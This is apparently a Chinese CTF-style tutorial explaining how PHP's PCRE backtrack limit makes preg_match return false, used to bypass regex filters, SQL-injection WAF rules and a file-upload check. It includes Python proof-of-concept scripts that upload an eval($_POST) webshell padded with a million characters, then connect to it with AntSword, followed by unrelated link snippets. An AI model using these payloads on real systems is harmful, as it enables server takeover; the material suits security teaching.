PHP利用PCRE回溯次数限制绕过某些安全限制实战案例
目录
一、正则表达式概述
有限状态自动机
匹配输入的过程分别是:
DFA(确定性有限状态自动机)
NFA(非确定性有限状态自动机)
二、回溯的过程
三、 PHP 的 pcre.backtrack_limit 限制利用
例题一
回溯绕过步骤 :
1、运行结果: 可见无法匹配
2、尝试匹配:依旧无法匹配
3、再次尝试:发现拿到匹配结果
原因:
总结:
1、绕过该正则
例题二
1、利用python语言编写回溯绕过一百万次的脚本
回溯过程模拟:
例题三
文件上传漏洞
1、编写文件上传脚本
2、上传任意一个文件
3、正则回溯
编写回溯脚本
查看并执行python代码是否成功
temp文件出现
使用中国蚁剑进行连接测试
一、正则表达式概述
正则表达式是一个可以被 “有限状态自动机”接受的语言类。
有限状态自动机
其拥有有限数量的状态,每个状态可以迁移到零个或多个状态,输入字串决定执行哪个状态的迁移。
而常见的正则引擎,又被细分为 DFA(确定性有限状态自动机)与 NFA(非确定性有限状态自动机)。
匹配输入的过程分别是:
DFA(确定性有限状态自动机)
从起始状态开始,一个字符一个字符地读取输入串,并根据正则来一步步确定至下一个转移状态,直到匹配不上或走完整个输入
NFA(非确定性有限状态自动机)
从起始状态开始,一个字符一个字符地读取输入串,并与正则表达式进行匹配,如果匹配不上,则进行回溯,尝试其他状态
由于 NFA 的执行过程存在回溯,所以其性能会劣于 DFA,但它支持更多功能。大多数程序语言都使用了 NFA 作为正则引擎,其中也包括 PHP 使用的 PCRE 库。
二、回溯的过程
<?php
function is_php($data){ return preg_match('/<\?.*[(`;?>].*/is', $data);
}
<?php eval()if(!is_php($input)) {// fwrite($f, $input); ...
}
题目中的正则 <\?.*[(`;?>].*,假设匹配的输入是 <?php phpinfo();//aaaaa,实际执行流程是这样的:
回溯过程
在第 4 步的时候,因为第一个 .* 可以匹配任何字符,所以最终匹配到了输入串的结尾,也就是 //aaaaa。但此时显然是不对的,因为正则显示.*后面还应该有一个字符 [(`;?>]。
所以 NFA 就开始回溯,先吐出一个 a,输入变成第 5 步显示的 //aaaa,但仍然匹配不上正则,继续吐出 a,变成 //aaa,仍然匹配不上……
最终直到吐出;,输入变成第 12 步显示的 <?php phpinfo(),此时 ,.* 匹配的是 php phpinfo(),而后面的 ; 则匹配上 [(`;?>] ,这个结果满足正则表达式的要求,于是不再回溯。13 步开始向后匹配;,14 步匹配.*,第二个.*匹配到了字符串末尾,最后结束匹配。
在调试正则表达式的时候,我们可以查看当前回溯的次数
三、 PHP 的 pcre.backtrack_limit 限制利用
PHP 为了防止正则表达式的拒绝服务攻击(reDOS),给 pcre 设定了一个回溯次数上限 pcre.backtrack_limit。我们可以通过 var_dump(ini_get('pcre.backtrack_limit'));的方式查看当前环境下的上限:

回溯次数上限默认是 100 万
回溯次数超过了 100 万,返回的非 1 和 0,是 false。
preg_match 返回的非 1 和 0,而是 false。
preg_match 函数返回 false 表示此次执行失败了,我们可以调用 var_dump(preg_last_error() === PREG_BACKTRACK_LIMIT_ERROR);,发现失败的原因的确是回溯次数超出了限制
所以,这道题的答案就呼之欲出了。我们通过发送超长字符串的方式,使正则执行失败,最后绕过目标对 PHP 语言的限制。
对应的 POC 如下:
import requests
from io import BytesIOfiles = {'file': BytesIO(b'aaa<?php eval($_POST[txt]);//' + b'a' * 1000000)
}res = requests.post('http://xx.xx.xx.xx/index.php', files=files, allow_redirects=False)
print(res.headers)
四、PCRE 另一种错误的用法
基于 PHP 的 WAF:
例一:
<?php
if(preg_match('/SELECT.+FROM.+/is', $input)) {die('SQL Injection');
}
均存在上述问题,通过大量回溯可以进行绕过。
例二:
<?php
if(preg_match('/UNION.+?SELECT/is', $input)) {die('SQL Injection');
}
这里涉及到了正则表达式的「非贪婪模式」。在 NFA 中,如果我输入 UNION/*aaaaa*/SELECT,这个正则表达式执行流程如下:
.+? 匹配到/因为非贪婪模式,所以.+? 停止匹配,而由 S 匹配*S 匹配*失败,回溯,再由.+? 匹配*因为非贪婪模式,所以.+? 停止匹配,而由 S 匹配 aS 匹配 a 失败,回溯,再由.+? 匹配 a...回溯次数随着 a 的数量增加而增加。所以,我们仍然可以通过发送大量 a,来使回溯次数超出 pcre.backtrack_limit 限制,进而绕过 WAF:
![]()
例题一
<?php
// greeting[]=Merry Christmas&greeting[]=123
function areyouok($greeting){return preg_match('/Merry.*Christmas/is',$greeting); //正则匹配
}
// greeting[]=123
// $greeting=@$_POST['greeting'];if(!areyouok($greeting)){// NULL != false// Null !== false// null !== false// strposif(strpos($greeting,'Merry Christmas') !== false){ //字符查找,如果查找到返回字符的位置,没有就返回falseecho 'welcome to nanhang. '.'flag{i_Lov3_NanHang_everyThing}';}else{echo 'Do you know .swp file?';}
}else{echo 'Do you know PHP?';
}
回溯绕过步骤 :
1、运行结果: 可见无法匹配

2、尝试匹配:依旧无法匹配

3、再次尝试:发现拿到匹配结果

原因:
此时greeting传递的是数组,元素是123,而 strpos验证的是字符串

![]()

由上可见:在strpos这个对字符串处理的函数中传递数组,那么它将会返回一个NULL
将strpos返回的值NULL与 null !== false 进行对比,如果为真,则进行下去,为假则结束。
当只有一个 = bool(false),返回值为false,程序执行结束
<?php
var_dump(NULL != false);
?>

当有两个 == 时,返回值为true,程序继续执行
<?php
var_dump(NULL !== false);
?>

知识点补充:
PHP中 比较 0、false、null,'' "
松散比较:使用两个等号 == 比较,只比较值,不比较类型。 严格比较:用三个等号 === 比较,除了比较值,也比较类型。 == 在进行比较的时候,会先将字符串类型转化成相同,再比较
0 == false: bool(true) 0 === false: bool(false)0 == null: bool(true) 0 === null: bool(false)false == null: bool(true) false === null: bool(false)"0" == false: bool(true) "0" === false: bool(false)"0" == null: bool(false) "0" === null: bool(false)"" == false: bool(true) "" === false: bool(false)"" == null: bool(true) "" === null: bool(false)

总结:
1、绕过该正则
插入代码:
greeting[]=123;

此时绕过第一个正则

接着会返回
null !== false;
根据严格不相等原则,此时返回结果是true,因此,代码将会继续执行
例题二
<?php
function areyouok($greeting){return preg_match('/Merry.*Christmas/is',$greeting);
}
// 回溯的问题
$greeting=@$_POST['greeting'];
if(!is_array($greeting)){if(!areyouok($greeting)){// strpos string postionif(strpos($greeting,'Merry Christmas') !== false){echo 'Merry Christmas. '.'flag{i_Lov3_NanHang_everyThing}';}else{echo 'Do you know .swp file?';}}else{echo 'Do you know PHP?';}
} else {echo 'fuck array!!!';
}
?>

思路: 只要将if(!areyouok($greeting))为假,并且含有‘Merry Christmas’字符,回溯一百万次即可绕过
1、利用python语言编写回溯绕过一百万次的脚本
from requests import post payload = {'greeting' : 'Merry Christmas' + 'a' * 1000001
}url = 'http://127.0.0.1/xss_location/dem04.php'res = post(url ,data=payload)

回溯超过一百万次后,绕过正则,此时if(!areyouok($greeting))为假,可见最终打印出'Merry Christmas',由此可见绕过完成
回溯过程模拟:
正则回溯实例
例题三
文件上传漏洞
<?php
function is_php($data){ return preg_match('/<\?.*[(`;?>].*/is', $data);
}
if(empty($_FILES)) {die(show_source(__FILE__));
}
$user_dir = md5($_SERVER['REMOTE_ADDR']);
$data = file_get_contents($_FILES['file']['tmp_name']);
if (is_php($data)) { exit("bad request");
} else {@mkdir($user_dir, 0755); $path = $user_dir . '/' . 'oupeng.php'; //利用move_uploaded_file将临时文件,复制到$pathmove_uploaded_file($_FILES['file']['tmp_name'], $path);
header("Location: $path", true, 303);
}
?>

1、编写文件上传脚本
<?php
echo "<pre>"; //设置输出为格式化输出
var_dump($_FILES);
<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>Xss-filter</title>
</head>
<body><form action="./file_upload.php" method="post" enctype="multipart/form-data"><input type="file" name="file" id=""><input type="submit" value="submit"></form>
</body>
</html>
2、上传任意一个文件


注:php上传文件时会生成一个临时文件,当文件上传完成时该临时文件将会自动删除
可以通过设置睡眠时间来将临时文件tmp抓到
<?php
sleep(100);
echo "<pre>"; //设置输出为格式化输出
var_dump($_FILES);
3、正则回溯
编写回溯脚本
from requests import post files = {'file' : r'<?php eval($_POST[123]);//' + r'a' * 1000000
}url = 'http://127.0.0.1/xss_location/demo6.php'res = post(url ,files=files, allow_redirects=False)print (res.headers)
查看并执行python代码是否成功

temp文件出现
此时,一句话木马已经写入

使用中国蚁剑进行连接测试

连接成功,此时已经绕过漏洞。
相关文章:
PHP利用PCRE回溯次数限制绕过某些安全限制实战案例
目录 一、正则表达式概述 有限状态自动机 匹配输入的过程分别是: DFA(确定性有限状态自动机) NFA(非确定性有限状态自动机) 二、回溯的过程 三、 PHP 的 pcre.backtrack_limit 限制利用 例题一 回溯绕过步骤 &…...
读书笔记 |【项目思维与管理】➾ 顺势而动
读书笔记 |【项目思维与管理】➾ 顺势而动 一、企业步入“终结者时代”二、过去成功的经验也许是最可怕的三、做好非重复性的事四、适应客户是出发点五、向知识型企业转变六、速度是决胜条件 💖The Begin💖点点关注,收藏不迷路💖 …...
开发利器:接口代理和接口模拟工具
前端开发过程往往需要和后端对接接口,而且一般开发都是前后端同步开发,这就难免出现接口提供滞后的问题,从而导致我们前端开发 UI 开发完成而无法调试的问题。面对这种问题,一般我们会有很多种方式处理,比如在代码中写一些模拟数据,或者打断点调试,或者用代理工具 Fidde…...
MAVEN利器:一文带你了解MAVEN以及如何配置
前言: 强大的构建工具——Maven。作为Java生态系统中的重要组成部分,Maven为开发人员提供了一种简单而高效的方式来构建、管理和发布Java项目。无论是小型项目还是大型企业级应用,Maven都能帮助开发人员轻松处理依赖管理、编译、测试和部署等…...
解决 adb install 错误INSTALL_FAILED_UPDATE_INCOMPATIBLE
最近给游戏出包,平台要求 v1 签名吧,AS 打包后,adb 执行安装到手机,我用的设备是google pixel6 , android 系统 13, 提示如下: adb install -r v5_android_202308161046.apk Performing Streamed Install a…...
学习Vue:Event Bus 与 Provide/Inject
在Vue.js中,兄弟组件通信是指两个没有直接父子关系的组件之间如何进行数据传递和通信。为了实现兄弟组件通信,我们可以借助Vue的一些特性,如Event Bus和Provide/Inject。让我们一起来深入了解这些方法,并通过实例来看看如何实现兄…...
Java 工具类之JSON key根据ASCII排序
Java按键值字典序排列 参数按照KEY值进行字典序排序(按照KEY值的ASCII码从小到大),并用&作为各参数之间的分隔符将参数拼接成字符串。这里用到了SortedMap,复制以下代码开箱即用~ /*** getSortedString 对参数按照Key进行ASCII排序* param jsonObject 请求参数…...
深兰科技提出新多模态谣言监测模型,刷新世界纪录
近日,深兰科技旗下深兰科技科学院投稿的《基于二部特定事件树的分层表示的谣言检测》(Rumor Detection With Hierarchical Representation on Bipartite Ad Hoc Event Trees)研究论文被全球人工智能领域*期刊《IEEE Transactions on Neural Networks and Learning S…...
【从零学习python 】33.装饰器的作用(二)
文章目录 再议装饰器4. 装饰器(decorator)功能5. 装饰器示例例1:无参数的函数例2:被装饰的函数有参数例3:被装饰的函数有不定长参数例4:装饰器中的return例5:装饰器带参数 进阶案例 再议装饰器 # 定义函数:完成包裹数据 def makeBold(fn):def wrapped():return &qu…...
【自动电压调节器】无功功率控制的终端电压控制研究(Simulink)
💥💥💞💞欢迎来到本博客❤️❤️💥💥 🏆博主优势:🌞🌞🌞博客内容尽量做到思维缜密,逻辑清晰,为了方便读者。 ⛳️座右铭&a…...
比ChatGPT更强的星火大模型V2版本发布!
初体验 测试PPT生成 结果: 达到了我的预期,只需要微调就可以直接交付,这点比ChatGPT要强很多. 测试文档问答 结果: 这点很新颖,现在类似这种文档问答的AI平台收费都贵的离谱,星火不但免费支持而且效果也…...
Character Animation With Direct3D 读书笔记
角色动画简介 2D动画:循环播放多张图片 3D动画: 骨骼动画、变形动画 DirectX入门 Win32 应用程序 Application类:处理主程序循环,图形设备的初始化 Init:加载资源并创建图形设备Update:更新游戏世界&am…...
SpringBoot之HandlerInterceptor拦截器的使用
😀前言 本篇博文是关于拦截器-HandlerInterceptor的使用,希望你能够喜欢 🏠个人主页:晨犀主页 🧑个人简介:大家好,我是晨犀,希望我的文章可以帮助到大家,您的满意是我的动…...
【共同缔造 情暖襄阳】 暑期关爱未成年人志愿服务活动合集(三)
结合2023年襄阳市民政局“共同缔造 情暖襄阳”社会工作服务项目,在襄阳市民政局、襄州区民政局支持下,襄州社工协会联合肖湾街道育红社区开展暑期“希望家园”志愿服务活动,关爱未成年人。 8月4日,为培育孩子们广泛的兴趣爱好和动…...
私密相册管家-加密码保护私人相册照片安全
App Store史上最安全、最强大、最卓越的私密相册App!再也不用担心私密照片视频被别人看见了! 私密相册为你提供多重密码保护机制、简单便捷的照片存储空间,完美地将你的私密照片远离一切恶意偷窥者的窥探! 【产品功能】 √ 支…...
webpack 热更新的实现原理
webpack 的热更新⼜称热替换(Hot Module Replacement),缩写为HMR。这个机制可以做到不⽤刷新浏览器⽽将新变更的模块替换掉旧的模块。 原理: ⾸先要知道 server 端和 client 端都做了处理⼯作: 在 webpack 的 watch…...
OpenCV-Python中的图像处理-傅里叶变换
OpenCV-Python中的图像处理-傅里叶变换 傅里叶变换Numpy中的傅里叶变换Numpy中的傅里叶逆变换OpenCV中的傅里叶变换OpenCV中的傅里叶逆变换 DFT的性能优化不同滤波算子傅里叶变换对比 傅里叶变换 傅里叶变换经常被用来分析不同滤波器的频率特性。我们可以使用 2D 离散傅里叶变…...
阿里云FRP内网穿透挂载多台服务器
1. FRP介绍 FRP (Fast Reverse Proxy) 是比较流行的一款。FRP 是一个免费开源的用于内网穿透的反向代理应用,它支持 TCP、UDP 协议, 也为 http 和 https 协议提供了额外的支持。你可以粗略理解它是一个中转站, 帮你实现 公网 ←→ FRP(服务器…...
多店铺功能
(一) 系统管理:菜单权限、前台菜单、角色管理、职员管理、登录日志、操作日志、图片空间、商城消息、风格设置、计划任务 (二) 基础设置:商城配置、导航管理、广告管理、广告位置、银行管理、支付管理、地区管理、友情链接、快递管理、消息模板 (三) 会员…...
mysql主从复制搭建(一主一从)
提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档 文章目录 前言MySQL复制过程分为三部: 一、准备工作二、配置>主库Master三、配置>从库SlaveSlave_IO_Running: YesSlave_SQL_Running: Yes 四、测试至此&am…...
IDEA运行Tomcat出现乱码问题解决汇总
最近正值期末周,有很多同学在写期末Java web作业时,运行tomcat出现乱码问题,经过多次解决与研究,我做了如下整理: 原因: IDEA本身编码与tomcat的编码与Windows编码不同导致,Windows 系统控制台…...
【Oracle APEX开发小技巧12】
有如下需求: 有一个问题反馈页面,要实现在apex页面展示能直观看到反馈时间超过7天未处理的数据,方便管理员及时处理反馈。 我的方法:直接将逻辑写在SQL中,这样可以直接在页面展示 完整代码: SELECTSF.FE…...
基于ASP.NET+ SQL Server实现(Web)医院信息管理系统
医院信息管理系统 1. 课程设计内容 在 visual studio 2017 平台上,开发一个“医院信息管理系统”Web 程序。 2. 课程设计目的 综合运用 c#.net 知识,在 vs 2017 平台上,进行 ASP.NET 应用程序和简易网站的开发;初步熟悉开发一…...
FFmpeg 低延迟同屏方案
引言 在实时互动需求激增的当下,无论是在线教育中的师生同屏演示、远程办公的屏幕共享协作,还是游戏直播的画面实时传输,低延迟同屏已成为保障用户体验的核心指标。FFmpeg 作为一款功能强大的多媒体框架,凭借其灵活的编解码、数据…...
UDP(Echoserver)
网络命令 Ping 命令 检测网络是否连通 使用方法: ping -c 次数 网址ping -c 3 www.baidu.comnetstat 命令 netstat 是一个用来查看网络状态的重要工具. 语法:netstat [选项] 功能:查看网络状态 常用选项: n 拒绝显示别名&#…...
基于Uniapp开发HarmonyOS 5.0旅游应用技术实践
一、技术选型背景 1.跨平台优势 Uniapp采用Vue.js框架,支持"一次开发,多端部署",可同步生成HarmonyOS、iOS、Android等多平台应用。 2.鸿蒙特性融合 HarmonyOS 5.0的分布式能力与原子化服务,为旅游应用带来…...
Python实现prophet 理论及参数优化
文章目录 Prophet理论及模型参数介绍Python代码完整实现prophet 添加外部数据进行模型优化 之前初步学习prophet的时候,写过一篇简单实现,后期随着对该模型的深入研究,本次记录涉及到prophet 的公式以及参数调优,从公式可以更直观…...
屋顶变身“发电站” ,中天合创屋面分布式光伏发电项目顺利并网!
5月28日,中天合创屋面分布式光伏发电项目顺利并网发电,该项目位于内蒙古自治区鄂尔多斯市乌审旗,项目利用中天合创聚乙烯、聚丙烯仓库屋面作为场地建设光伏电站,总装机容量为9.96MWp。 项目投运后,每年可节约标煤3670…...
微软PowerBI考试 PL300-在 Power BI 中清理、转换和加载数据
微软PowerBI考试 PL300-在 Power BI 中清理、转换和加载数据 Power Query 具有大量专门帮助您清理和准备数据以供分析的功能。 您将了解如何简化复杂模型、更改数据类型、重命名对象和透视数据。 您还将了解如何分析列,以便知晓哪些列包含有价值的数据,…...
React---day11
14.4 react-redux第三方库 提供connect、thunk之类的函数 以获取一个banner数据为例子 store: 我们在使用异步的时候理应是要使用中间件的,但是configureStore 已经自动集成了 redux-thunk,注意action里面要返回函数 import { configureS…...
